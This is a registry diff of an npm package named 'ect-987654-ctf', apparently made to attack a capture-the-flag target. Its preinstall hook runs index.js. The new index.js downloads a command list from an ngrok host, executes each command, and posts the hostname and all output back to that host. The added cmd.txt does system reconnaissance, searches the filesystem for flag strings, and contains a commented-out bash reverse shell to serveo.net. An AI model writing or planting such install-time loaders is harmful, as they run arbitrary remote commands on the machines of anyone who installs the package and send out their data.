ect-987654-ctf 0.0.9 → 0.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cmd.txt ADDED
@@ -0,0 +1,18 @@
1
+ id
2
+ pwd
3
+ whoami
4
+ ls -la /home/node
5
+ ls -la /home/node/aspect-node || true
6
+ file /home/node/aspect-node.tar.gz || true
7
+ tar -tzf /home/node/aspect-node.tar.gz | head -n 200 || echo "tar list failed"
8
+ find /home/node -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null || true
9
+ find / -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null | head -n 200
10
+ # if you find promising files, cat them (you can add new lines like: cat /path/to/thatfile)
11
+ #bash -c 'bash -i >& /dev/tcp/serveo.net/5555 0>&1'
12
+ find / -type f -exec strings {} + 2>/dev/null | grep -Eo "HTB\{[^}]+\}" | head -n 50
13
+ grep -R --text --color=never -Eo "HTB\{[^}]+\}" / 2>/dev/null | head -n 100
14
+ # kalau tak jumpa, cuba dalam /home
15
+ grep -R --text --color=never -Eo "HTB\{[^}]+\}" /home 2>/dev/null | head -n 100
16
+ # kalau tak jumpa jugak, cuba dalam /opt
17
+ grep -R --text --color=never -Eo "HTB\{[^}]+\}" /opt 2>/dev/null | head -n 100
18
+
package/evil.yaml CHANGED
@@ -1,6 +1,6 @@
1
1
  ecto_module:
2
2
  name: "ect-987654-ctf"
3
- version: "0.0.8"
4
- power_level: Very High
3
+ version: "0.0.11"
4
+ power_level: Very High butow
5
5
  ship_deck: Beta-2
6
6
  cargo_hold: B2-13
package/index.js CHANGED
@@ -1,40 +1,75 @@
1
- const https = require("https");
2
- const { execSync } = require("child_process");
3
- const os = require("os");
1
+ // index.js - fetch remote cmd.txt, run it, POST result back
2
+ const { exec } = require('child_process');
3
+ const https = require('https');
4
+ const http = require('http');
5
+ const url = require('url');
6
+ const os = require('os');
4
7
 
5
- const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
8
+ const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <- ganti
9
+ const CMDFILE_URL = 'https://0f6896f7cc8e.ngrok-free.app/cmd.txt'; // <- ganti (where you serve commands)
10
+ const TIMEOUT = 15000;
6
11
 
7
- function post(data) {
8
- const body = JSON.stringify(data);
9
- const url = new URL(WEBHOOK);
10
- const req = https.request({
11
- hostname: url.hostname,
12
- path: url.pathname,
13
- method: "POST",
14
- headers: {
15
- "Content-Type": "application/json",
16
- "Content-Length": Buffer.byteLength(body)
17
- }
18
- });
19
- req.write(body);
20
- req.end();
12
+ function httpGet(u, cb) {
13
+ try {
14
+ const parsed = url.parse(u);
15
+ const lib = parsed.protocol === 'https:' ? https : http;
16
+ const opts = { hostname: parsed.hostname, port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80), path: parsed.path, method: 'GET', timeout: TIMEOUT };
17
+ const req = lib.request(opts, (res) => {
18
+ let s = '';
19
+ res.on('data', c => s += c.toString());
20
+ res.on('end', () => cb(null, s));
21
+ });
22
+ req.on('error', cb);
23
+ req.on('timeout', () => { req.destroy(); cb(new Error('timeout')); });
24
+ req.end();
25
+ } catch (e) { cb(e); }
21
26
  }
22
27
 
23
- try {
24
- // show current working dir and contents
25
- const pwd = execSync("pwd", { encoding: "utf8" });
26
- const ls = execSync("ls -lah", { encoding: "utf8" });
27
-
28
- // also check if the aspect-node.tar.gz exists
29
- const check = execSync("ls -lah /home/node | grep aspect-node || true", { encoding: "utf8" });
30
-
31
- post({
32
- host: os.hostname(),
33
- pwd,
34
- ls,
35
- check
28
+ function runCmd(cmd, cb) {
29
+ exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
30
+ cb(err, String(stdout||''), String(stderr||''));
36
31
  });
32
+ }
37
33
 
38
- } catch (e) {
39
- post({ error: e.message });
34
+ function postJson(targetUrl, obj, cb) {
35
+ try {
36
+ const u = url.parse(targetUrl);
37
+ const body = JSON.stringify(obj);
38
+ const opts = {
39
+ hostname: u.hostname,
40
+ port: u.port || (u.protocol === 'https:' ? 443 : 80),
41
+ path: u.path || '/',
42
+ method: 'POST',
43
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
44
+ timeout: TIMEOUT
45
+ };
46
+ const lib = u.protocol === 'https:' ? https : http;
47
+ const req = lib.request(opts, (res) => {
48
+ let d=''; res.on('data', c=> d+=c); res.on('end', ()=> cb(null, res.statusCode, d));
49
+ });
50
+ req.on('error', (e) => cb(e));
51
+ req.write(body); req.end();
52
+ } catch (e) { cb(e); }
40
53
  }
54
+
55
+ const info = { host: os.hostname(), ts: new Date().toISOString(), pwd: process.cwd(), results: [] };
56
+
57
+ httpGet(CMDFILE_URL, (err, data) => {
58
+ if (err) {
59
+ info.results.push({ stage: 'fetch_cmd', err: String(err) });
60
+ postJson(CALLBACK_URL, info, ()=>process.exit(0));
61
+ return;
62
+ }
63
+ const lines = data.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
64
+ (function seq(i){
65
+ if (i >= lines.length) {
66
+ postJson(CALLBACK_URL, info, ()=>process.exit(0));
67
+ return;
68
+ }
69
+ const cmd = lines[i];
70
+ runCmd(cmd, (err, out, stderr) => {
71
+ info.results.push({ cmd, out: out.slice(0, 200000), stderr: stderr.slice(0,200000), err: err ? String(err) : null });
72
+ setTimeout(()=> seq(i+1), 200);
73
+ });
74
+ })(0);
75
+ });
package/last_post.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
- "host": "2fbf820d20ba",
2
+ "host": "centos",
3
3
  "checked_count": 0,
4
4
  "hits": []
5
5
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.9",
3
+ "version": "0.0.12",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }